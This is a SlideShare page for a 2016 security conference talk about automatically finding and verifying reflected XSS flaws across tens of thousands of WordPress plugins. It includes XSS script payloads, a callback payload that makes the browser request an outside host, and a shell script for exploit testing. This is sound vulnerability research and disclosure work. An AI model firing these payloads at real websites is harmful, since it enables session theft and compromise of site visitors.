SlideShare a Scribd company logo
How to Discover 1352
Wordpress Plugin XSS 0days in
one hour
(Well not quite)
Larry W. Cashdollar
Boston Bsides
5/21/2016
Who Am I
• Hobbyist Vulnerability Researcher
• 100+ CVEs
• Former Unix Systems Administrator
• ​Penetration Tester Back in Late 90s
• Enjoy Writing Code
• Member of Akamai Security Incident Response Team (SIRT)
• ​Penetration Tester Back in Late
Why XSS?
• Kept seeing echo $_GET|POST|REQUEST[‘var’] in code
• I thought these were a sure thing*
• Curiosity about vulnerability discovery automation
• Figured I could auto generate PoCs on the fly
* We will explore later where I fu*ked up
Assumptions
• You know what Wordpress is
• You know what a Wordpress plugin is
• You know what XSS is
• You’re not prone to violence when disappointed…
Plugin Collection
• Download all 50,000 or so
• Scrape http://plugins.svn.wordpress.org with wget?
Problems
• Wordpress blocked my IP….for 8 months or so
• Get lots of cruft, plugins that had been removed
• Lot of versions for same plugin
• We want metadata too!
Plugin Collection v2.0
• Use list of plugins from plugins.svn.wordpress.org as index
• Scrape plugin page http://wordpress.org/plugins/$plugin
• Pipe this all through Proxychains
• Took five days to finish, downloaded 42,478 plugins
XSS mining
• Hack up an old perl script
• look for echo $_GET[‘ or echo $_POST[‘ or echo $_REQUEST[‘
• Try to find variations like $_GET[“ or $_GET[s’ etc..
• Grab line number, & vulnerable code
• Auto generate exploit & title
• Collect vulnerable variables
Auto Generating an XSS PoC
• $_GET and $_REQUEST only
• Create a basic Generic exploit for testing
• var=”><script>alert(1);</script><”
• Where to store all of this?
• I’ve got 900 vulns with 900 untested PoCs…
Building the Database
• create database wpvulndb;
• What columns?
• Store title, plugin name, file, vulnerable code, PoC, variables, date
• Collect metadata & populate more fields in database like version,
author, downloads, download link
• Probably should notify folks at Wordpress and some vulnerability
database folks I know for advice?
In Over my head
• I need an adult
• Should notify some smart people of what I’ve done
• plugins@wordpress.org
• Jericho Attrition.org
• Mitre just in case
• Scott Moore -> IBM XForce
• Ryan Dewhurst -> wpvulndb
• Friends at Akamai
• Solar Designer -> oss-security list
Notifications
• Thought I had 1352 legit XSS
• Exported database to various parties
• Had skype call with a group of security researchers from the
University of Stuttgart!
• I was starting to become one of the cool kidz*
*Before it all blows up in my face
Massaging the Data
• Created custom .csv files for anyone who asked
• Sent .sql database + php code to wordpress + friends at German
university
• Worked with Jericho to fix mangled entries etc..
• Took suggestions on what data to store and..
Added moar columns!
• CVE/DWF ID
• Figured I’d notify Mitre and self assign my own DWF IDs
• Type
• Is this via GET or POST or REQUEST
• Nonce
• Does the plugin use nonce?
• Auto_verify
• Boolean - part of the auto exploit stuff I’ll get into
• Filename with out full path
• Just to make things easier
• Vendor contact_date
• Initial plan was to automate notifications…
PoC or Go Home
• I really want to verify what I have with PoC
• Idea on how to test this automatically
• Would be much cooler to have working verified PoC with each
vulnerability entry
Auto Exploit v1.0
• Try to send our auto generated payloads (GET/REQUEST) to 900+
vulnerable plugins
• Setup cgi-bin environment
• exec vulnerable code with payload
• New Payload will be:
• "><script>new%20Image().src='http://192.168.0.25/e.php?i=741';</script><”
• e.php just sets auto_verify to 1 for vdbid $num in database
Auto Exploit execute php > html
• Setup environment variables
• GATEWAY_INTERFACE=CGI/1.1
• PATH_TRANSLATED=vulnerable php filename
• QUERY_STRING=payload
• REDIRECT_STATUS=CGI
• REQUEST_METHOD=GET
Auto Exploit – render to html
#!/bin/sh
CWD=`pwd`
PHPCGI=`which php-cgi`
echo "#################################################################################"
echo "# F4st-cgi exploiter v1.5 #"
echo "#################################################################################"
echo "[+] Setting Full path :$1"
echo "[+] Script file name :$2"
echo "[+] Query string :$3"
echo "[+] Changing working directory to $1"
cd $1
export GATEWAY_INTERFACE=CGI/1.1
export PATH_TRANSLATED=$2
export QUERY_STRING=$3
export REDIRECT_STATUS=CGI
export REQUEST_METHOD=GET
echo -n "[+] exec $PHPCGI"
echo -n " "
echo "$2"
php-cgi $2
cd $CWD
The Process
Generate .html
For loop for all type=GET or type=REQUEST
$ ./f4st-cgi-exploiter.sh /usr/share/wordpress/ 1255-evr_pdf_out.php "id="><script>new%20Image().src='http://192.168.0.25/e.php?i=1255';</script><"" > files/$id.html
Render .html and exec JavaScript
Tool to use: PhantomJS
PhantomJS
• http://phantomjs.org/
• Full web stack no browser required
• Will execute our Javascript payload
Scandir.js read .html files from a directory and execute javascript.
files/ has all of our .html files from php5-cgi run
$ phantomjs scandir.js files/
# tail -f /var/log/apache2/access.log
PhantomJS Results
• Looking at file sizes we can tease out interesting results
Results
• 38 exploits fire and set auto_verify = 1 in database
The bad
• I was hoping for another digit in that number
• 38/900=4% success rate #derp
The good
• It kind of worked!
Proves or Disproves:
If successful JS execution
• Code in PoC is escaping tags properly.
• Execution doesn’t require authentication.
• Code isn’t just defined in a class we can’t reach.
• Injection point truly isn’t sanitized.
If unsuccessful JS execution
• Injection point might be sanitized.
• Code might require authentication - admin etc.
• PoC isn’t escaping tags properly.
• Code is part of a class and not easily reachable.
Where I Fu*ked up
• Didn’t have Wordpress in the path*
• Should have notified everyone later on in my research
• Didn’t have entire plugin copied **
• Include or require of other plugin files would fail
• php5-cgi doesn’t set headers
e.g header(‘Content-Type:text/css’); <- not rendered by browser
* Found out Wordpress escapes $_GET $_POST $_REQUEST
** this provided me with some false negatives! 
Wordpress Escaping GET/POST/REQUEST
• browser/trunk/wp-includes/load.php Line 522
523 * Add magic quotes to $_GET, $_POST, $_COOKIE, and $_SERVER.
.
.
540 $_GET = add_magic_quotes( $_GET );
541 $_POST = add_magic_quotes( $_POST );
541 $_COOKIE = add_magic_quotes( $_COOKIE );
542 $_SERVER = add_magic_quotes( $_SERVER );
• https://wordpress.org/support/topic/wp-automatically-escaping-get-and-post-etc-globals
• https://core.trac.wordpress.org/browser/trunk/wp-includes/load.php?rev=18827#L522
Total Verified with honoring headers
• 27 Auto XSS’d
• 3 manually validated that needed some tweaking to
the payload
• False positives too stuff like:
$_GET['ID'] = (int) $_GET['ID'];
Cool kid status
Dang it
What I learned
• Test your stuff end to end!
• Full server stack for any testing
• Research any odd results that aren’t making sense
• The Wordpress escaping GPCS super globals made any XSS in plugin
files loading WP context dependent
• Escapes ’ “ /
Context Dependent XSS
<?php
include ‘wp-load.php’;
.
.
echo “Search Results For:”;
echo $_GET[‘s’];
We can still use
• s=<script>alert(1);</script>
Context Dependent XSS
Code:
<?php
include ‘wp-load.php’;
.
<a id="wysija-upload-browse;" href2="admin.php?page=campaign&action=medias&emailId=<?php echo
$_GET['id']>">Browse</a>
?>
Payload:
http://192.168.0.33/test.php?id=%22%3Cscript%3Ealert(1);%3C/script%3E%22
Result:
<a id="upload-browse" class="button”
href2="admin.php?page=campaigns&action=medias&tab=&emailId="<script>alert(1);</script>"">Upload
</a>"
• We can’t escape out of HTML tag
Vetting XSS
• I’d need to manually review all 1322 entries
• Not enough time
• dreaming about XSS == stop
What’s Next
• I’m kind of done with WP Plugin XSS
• May try Auto Exploit v2.0
• Some XSS entries might be valid, need testing
• Maybe try looking at fopen() SQLi? CSRF? LFI? eval()?
• Maybe work on some C stuff for a while
Thank You
• Everyone here for listening to me ramble
• Brian Martin
• Scott Moore
• Ryan Duhurst
• Mika @ wordpress.org
• Solar Designer
I’m sorry
• Everyone here for listening to me ramble
• Brian Martin
• Scott Moore
• Ryan Duhurst
• Mika @ wordpress.org
• Solar Designer
Questions?
• larry0@me.com or larry@akamai.com
• @_larry0
• http://www.vapidlabs.com

More Related Content

PPTX
Fun with exploits old and new
PPTX
Hacking Wordpress Plugins
PPT
Mining Ruby Gem vulnerabilities for Fun and No Profit.
PPTX
How to discover 1352 Wordpress plugin 0days in one hour (not really)
PPTX
A Forgotten HTTP Invisibility Cloak
PDF
Revoke-Obfuscation
PDF
SANS DFIR Prague: PowerShell & WMI
PDF
Getting root with benign app store apps
Fun with exploits old and new
Hacking Wordpress Plugins
Mining Ruby Gem vulnerabilities for Fun and No Profit.
How to discover 1352 Wordpress plugin 0days in one hour (not really)
A Forgotten HTTP Invisibility Cloak
Revoke-Obfuscation
SANS DFIR Prague: PowerShell & WMI
Getting root with benign app store apps

What's hot (20)

PDF
DevSec Defense
PPTX
Dirty Little Secrets They Didn't Teach You In Pentest Class v2
PPTX
Invoke-CradleCrafter: Moar PowerShell obFUsk8tion & Detection (@('Tech','niqu...
PPTX
Get-Help: An intro to PowerShell and how to Use it for Evil
PPTX
Building Better Backdoors with WMI - DerbyCon 2017
PPTX
Pwning with powershell
PDF
PesterSec: Using Pester & ScriptAnalyzer to Detect Obfuscated PowerShell
PDF
Getting root with benign app store apps vsecurityfest
PDF
A Case Study in Attacking KeePass
PPTX
Obfuscating The Empire
PDF
Malicious Payloads vs Deep Visibility: A PowerShell Story
PPTX
Adventures in Asymmetric Warfare
PPTX
Invoke-Obfuscation nullcon 2017
PDF
Exploiting Directory Permissions on macOS
PDF
Windows Attacks AT is the new black
PPTX
Twas the night before Malware...
PPTX
Wielding a cortana
PDF
Hadoop meet Rex(How to construct hadoop cluster with rex)
PPTX
Black Hat: XML Out-Of-Band Data Retrieval
PPTX
Catch Me If You Can: PowerShell Red vs Blue
DevSec Defense
Dirty Little Secrets They Didn't Teach You In Pentest Class v2
Invoke-CradleCrafter: Moar PowerShell obFUsk8tion & Detection (@('Tech','niqu...
Get-Help: An intro to PowerShell and how to Use it for Evil
Building Better Backdoors with WMI - DerbyCon 2017
Pwning with powershell
PesterSec: Using Pester & ScriptAnalyzer to Detect Obfuscated PowerShell
Getting root with benign app store apps vsecurityfest
A Case Study in Attacking KeePass
Obfuscating The Empire
Malicious Payloads vs Deep Visibility: A PowerShell Story
Adventures in Asymmetric Warfare
Invoke-Obfuscation nullcon 2017
Exploiting Directory Permissions on macOS
Windows Attacks AT is the new black
Twas the night before Malware...
Wielding a cortana
Hadoop meet Rex(How to construct hadoop cluster with rex)
Black Hat: XML Out-Of-Band Data Retrieval
Catch Me If You Can: PowerShell Red vs Blue
Ad

Similar to How to discover 1352 Wordpress plugin 0days in one hour (not really) (20)

PDF
Hacking sites for fun and profit
PPTX
Securing your web apps now
PDF
Hacking sites for fun and profit
PDF
The moment my site got hacked
PDF
My tryst with sourcecode review
PDF
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
PDF
Testing mit Codeception: Full-stack testing PHP framework
PPT
Blog World 2010 - How to Keep Your Blog from Being Hacked
PPTX
Dirty Little Secrets They Didn't Teach You In Pentest Class v2
PDF
Do you lose sleep at night?
PDF
H4CK1N6 - Web Application Security
PDF
ITB_2023_25_Most_Dangerous_Software_Weaknesses_Pete_Freitag.pdf
PDF
Finding Needles in Haystacks
PDF
Defcon Moscow #0x0A - Mikhail Firstov "Hacking routers as Web Hacker"
PDF
Hacking routers as Web Hacker
PDF
Columbus WordCamp 2015
PDF
[Hackersuli][HUN]MacOS - Going Down the Rabbit Hole
PPT
WordPress Harrisburg Meetup - Best Practices
PDF
Road to Opscon (Pisa '15) - DevOoops
KEY
doing_it_right() with WordPress
Hacking sites for fun and profit
Securing your web apps now
Hacking sites for fun and profit
The moment my site got hacked
My tryst with sourcecode review
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
Testing mit Codeception: Full-stack testing PHP framework
Blog World 2010 - How to Keep Your Blog from Being Hacked
Dirty Little Secrets They Didn't Teach You In Pentest Class v2
Do you lose sleep at night?
H4CK1N6 - Web Application Security
ITB_2023_25_Most_Dangerous_Software_Weaknesses_Pete_Freitag.pdf
Finding Needles in Haystacks
Defcon Moscow #0x0A - Mikhail Firstov "Hacking routers as Web Hacker"
Hacking routers as Web Hacker
Columbus WordCamp 2015
[Hackersuli][HUN]MacOS - Going Down the Rabbit Hole
WordPress Harrisburg Meetup - Best Practices
Road to Opscon (Pisa '15) - DevOoops
doing_it_right() with WordPress
Ad

Recently uploaded (20)

PDF
Digital Strategies for Manufacturing Companies
PDF
AI in Product Development-omnex systems
PDF
Navsoft: AI-Powered Business Solutions & Custom Software Development
PDF
Understanding Forklifts - TECH EHS Solution
PDF
Nekopoi APK 2025 free lastest update
PPTX
CHAPTER 12 - CYBER SECURITY AND FUTURE SKILLS (1) (1).pptx
PDF
System and Network Administraation Chapter 3
PDF
Design an Analysis of Algorithms II-SECS-1021-03
PPTX
VVF-Customer-Presentation2025-Ver1.9.pptx
PPTX
ManageIQ - Sprint 268 Review - Slide Deck
PDF
Claude Code: Everyone is a 10x Developer - A Comprehensive AI-Powered CLI Tool
PPTX
ISO 45001 Occupational Health and Safety Management System
PDF
T3DD25 TYPO3 Content Blocks - Deep Dive by André Kraus
PPTX
Oracle E-Business Suite: A Comprehensive Guide for Modern Enterprises
PDF
Why TechBuilder is the Future of Pickup and Delivery App Development (1).pdf
PDF
Addressing The Cult of Project Management Tools-Why Disconnected Work is Hold...
PPTX
ai tools demonstartion for schools and inter college
PDF
Flood Susceptibility Mapping Using Image-Based 2D-CNN Deep Learnin. Overview ...
PDF
Which alternative to Crystal Reports is best for small or large businesses.pdf
PPTX
Agentic AI Use Case- Contract Lifecycle Management (CLM).pptx
Digital Strategies for Manufacturing Companies
AI in Product Development-omnex systems
Navsoft: AI-Powered Business Solutions & Custom Software Development
Understanding Forklifts - TECH EHS Solution
Nekopoi APK 2025 free lastest update
CHAPTER 12 - CYBER SECURITY AND FUTURE SKILLS (1) (1).pptx
System and Network Administraation Chapter 3
Design an Analysis of Algorithms II-SECS-1021-03
VVF-Customer-Presentation2025-Ver1.9.pptx
ManageIQ - Sprint 268 Review - Slide Deck
Claude Code: Everyone is a 10x Developer - A Comprehensive AI-Powered CLI Tool
ISO 45001 Occupational Health and Safety Management System
T3DD25 TYPO3 Content Blocks - Deep Dive by André Kraus
Oracle E-Business Suite: A Comprehensive Guide for Modern Enterprises
Why TechBuilder is the Future of Pickup and Delivery App Development (1).pdf
Addressing The Cult of Project Management Tools-Why Disconnected Work is Hold...
ai tools demonstartion for schools and inter college
Flood Susceptibility Mapping Using Image-Based 2D-CNN Deep Learnin. Overview ...
Which alternative to Crystal Reports is best for small or large businesses.pdf
Agentic AI Use Case- Contract Lifecycle Management (CLM).pptx

How to discover 1352 Wordpress plugin 0days in one hour (not really)

  • 1. How to Discover 1352 Wordpress Plugin XSS 0days in one hour (Well not quite) Larry W. Cashdollar Boston Bsides 5/21/2016
  • 2. Who Am I • Hobbyist Vulnerability Researcher • 100+ CVEs • Former Unix Systems Administrator • ​Penetration Tester Back in Late 90s • Enjoy Writing Code • Member of Akamai Security Incident Response Team (SIRT) • ​Penetration Tester Back in Late
  • 3. Why XSS? • Kept seeing echo $_GET|POST|REQUEST[‘var’] in code • I thought these were a sure thing* • Curiosity about vulnerability discovery automation • Figured I could auto generate PoCs on the fly * We will explore later where I fu*ked up
  • 4. Assumptions • You know what Wordpress is • You know what a Wordpress plugin is • You know what XSS is • You’re not prone to violence when disappointed…
  • 5. Plugin Collection • Download all 50,000 or so • Scrape http://plugins.svn.wordpress.org with wget? Problems • Wordpress blocked my IP….for 8 months or so • Get lots of cruft, plugins that had been removed • Lot of versions for same plugin • We want metadata too!
  • 6. Plugin Collection v2.0 • Use list of plugins from plugins.svn.wordpress.org as index • Scrape plugin page http://wordpress.org/plugins/$plugin • Pipe this all through Proxychains • Took five days to finish, downloaded 42,478 plugins
  • 7. XSS mining • Hack up an old perl script • look for echo $_GET[‘ or echo $_POST[‘ or echo $_REQUEST[‘ • Try to find variations like $_GET[“ or $_GET[s’ etc.. • Grab line number, & vulnerable code • Auto generate exploit & title • Collect vulnerable variables
  • 8. Auto Generating an XSS PoC • $_GET and $_REQUEST only • Create a basic Generic exploit for testing • var=”><script>alert(1);</script><” • Where to store all of this? • I’ve got 900 vulns with 900 untested PoCs…
  • 9. Building the Database • create database wpvulndb; • What columns? • Store title, plugin name, file, vulnerable code, PoC, variables, date • Collect metadata & populate more fields in database like version, author, downloads, download link • Probably should notify folks at Wordpress and some vulnerability database folks I know for advice?
  • 10. In Over my head • I need an adult • Should notify some smart people of what I’ve done • plugins@wordpress.org • Jericho Attrition.org • Mitre just in case • Scott Moore -> IBM XForce • Ryan Dewhurst -> wpvulndb • Friends at Akamai • Solar Designer -> oss-security list
  • 11. Notifications • Thought I had 1352 legit XSS • Exported database to various parties • Had skype call with a group of security researchers from the University of Stuttgart! • I was starting to become one of the cool kidz* *Before it all blows up in my face
  • 12. Massaging the Data • Created custom .csv files for anyone who asked • Sent .sql database + php code to wordpress + friends at German university • Worked with Jericho to fix mangled entries etc.. • Took suggestions on what data to store and..
  • 13. Added moar columns! • CVE/DWF ID • Figured I’d notify Mitre and self assign my own DWF IDs • Type • Is this via GET or POST or REQUEST • Nonce • Does the plugin use nonce? • Auto_verify • Boolean - part of the auto exploit stuff I’ll get into • Filename with out full path • Just to make things easier • Vendor contact_date • Initial plan was to automate notifications…
  • 14. PoC or Go Home • I really want to verify what I have with PoC • Idea on how to test this automatically • Would be much cooler to have working verified PoC with each vulnerability entry
  • 15. Auto Exploit v1.0 • Try to send our auto generated payloads (GET/REQUEST) to 900+ vulnerable plugins • Setup cgi-bin environment • exec vulnerable code with payload • New Payload will be: • "><script>new%20Image().src='http://192.168.0.25/e.php?i=741';</script><” • e.php just sets auto_verify to 1 for vdbid $num in database
  • 16. Auto Exploit execute php > html • Setup environment variables • GATEWAY_INTERFACE=CGI/1.1 • PATH_TRANSLATED=vulnerable php filename • QUERY_STRING=payload • REDIRECT_STATUS=CGI • REQUEST_METHOD=GET
  • 17. Auto Exploit – render to html #!/bin/sh CWD=`pwd` PHPCGI=`which php-cgi` echo "#################################################################################" echo "# F4st-cgi exploiter v1.5 #" echo "#################################################################################" echo "[+] Setting Full path :$1" echo "[+] Script file name :$2" echo "[+] Query string :$3" echo "[+] Changing working directory to $1" cd $1 export GATEWAY_INTERFACE=CGI/1.1 export PATH_TRANSLATED=$2 export QUERY_STRING=$3 export REDIRECT_STATUS=CGI export REQUEST_METHOD=GET echo -n "[+] exec $PHPCGI" echo -n " " echo "$2" php-cgi $2 cd $CWD
  • 18. The Process Generate .html For loop for all type=GET or type=REQUEST $ ./f4st-cgi-exploiter.sh /usr/share/wordpress/ 1255-evr_pdf_out.php "id="><script>new%20Image().src='http://192.168.0.25/e.php?i=1255';</script><"" > files/$id.html Render .html and exec JavaScript Tool to use: PhantomJS
  • 19. PhantomJS • http://phantomjs.org/ • Full web stack no browser required • Will execute our Javascript payload Scandir.js read .html files from a directory and execute javascript. files/ has all of our .html files from php5-cgi run $ phantomjs scandir.js files/
  • 20. # tail -f /var/log/apache2/access.log
  • 21. PhantomJS Results • Looking at file sizes we can tease out interesting results
  • 22. Results • 38 exploits fire and set auto_verify = 1 in database The bad • I was hoping for another digit in that number • 38/900=4% success rate #derp The good • It kind of worked!
  • 23. Proves or Disproves: If successful JS execution • Code in PoC is escaping tags properly. • Execution doesn’t require authentication. • Code isn’t just defined in a class we can’t reach. • Injection point truly isn’t sanitized. If unsuccessful JS execution • Injection point might be sanitized. • Code might require authentication - admin etc. • PoC isn’t escaping tags properly. • Code is part of a class and not easily reachable.
  • 24. Where I Fu*ked up • Didn’t have Wordpress in the path* • Should have notified everyone later on in my research • Didn’t have entire plugin copied ** • Include or require of other plugin files would fail • php5-cgi doesn’t set headers e.g header(‘Content-Type:text/css’); <- not rendered by browser * Found out Wordpress escapes $_GET $_POST $_REQUEST ** this provided me with some false negatives! 
  • 25. Wordpress Escaping GET/POST/REQUEST • browser/trunk/wp-includes/load.php Line 522 523 * Add magic quotes to $_GET, $_POST, $_COOKIE, and $_SERVER. . . 540 $_GET = add_magic_quotes( $_GET ); 541 $_POST = add_magic_quotes( $_POST ); 541 $_COOKIE = add_magic_quotes( $_COOKIE ); 542 $_SERVER = add_magic_quotes( $_SERVER ); • https://wordpress.org/support/topic/wp-automatically-escaping-get-and-post-etc-globals • https://core.trac.wordpress.org/browser/trunk/wp-includes/load.php?rev=18827#L522
  • 26. Total Verified with honoring headers • 27 Auto XSS’d • 3 manually validated that needed some tweaking to the payload • False positives too stuff like: $_GET['ID'] = (int) $_GET['ID'];
  • 28. What I learned • Test your stuff end to end! • Full server stack for any testing • Research any odd results that aren’t making sense • The Wordpress escaping GPCS super globals made any XSS in plugin files loading WP context dependent • Escapes ’ “ /
  • 29. Context Dependent XSS <?php include ‘wp-load.php’; . . echo “Search Results For:”; echo $_GET[‘s’]; We can still use • s=<script>alert(1);</script>
  • 30. Context Dependent XSS Code: <?php include ‘wp-load.php’; . <a id="wysija-upload-browse;" href2="admin.php?page=campaign&action=medias&emailId=<?php echo $_GET['id']>">Browse</a> ?> Payload: http://192.168.0.33/test.php?id=%22%3Cscript%3Ealert(1);%3C/script%3E%22 Result: <a id="upload-browse" class="button” href2="admin.php?page=campaigns&action=medias&tab=&emailId="<script>alert(1);</script>"">Upload </a>" • We can’t escape out of HTML tag
  • 31. Vetting XSS • I’d need to manually review all 1322 entries • Not enough time • dreaming about XSS == stop
  • 32. What’s Next • I’m kind of done with WP Plugin XSS • May try Auto Exploit v2.0 • Some XSS entries might be valid, need testing • Maybe try looking at fopen() SQLi? CSRF? LFI? eval()? • Maybe work on some C stuff for a while
  • 33. Thank You • Everyone here for listening to me ramble • Brian Martin • Scott Moore • Ryan Duhurst • Mika @ wordpress.org • Solar Designer
  • 34. I’m sorry • Everyone here for listening to me ramble • Brian Martin • Scott Moore • Ryan Duhurst • Mika @ wordpress.org • Solar Designer
  • 35. Questions? • larry0@me.com or larry@akamai.com • @_larry0 • http://www.vapidlabs.com

Editor's Notes

  • #29: Someone could be doing something you’re not expecting These would all need manual auditing $_GET; $_POST; REQUEST; COOKIE; SERVER; https://core.trac.wordpress.org/ticket/18322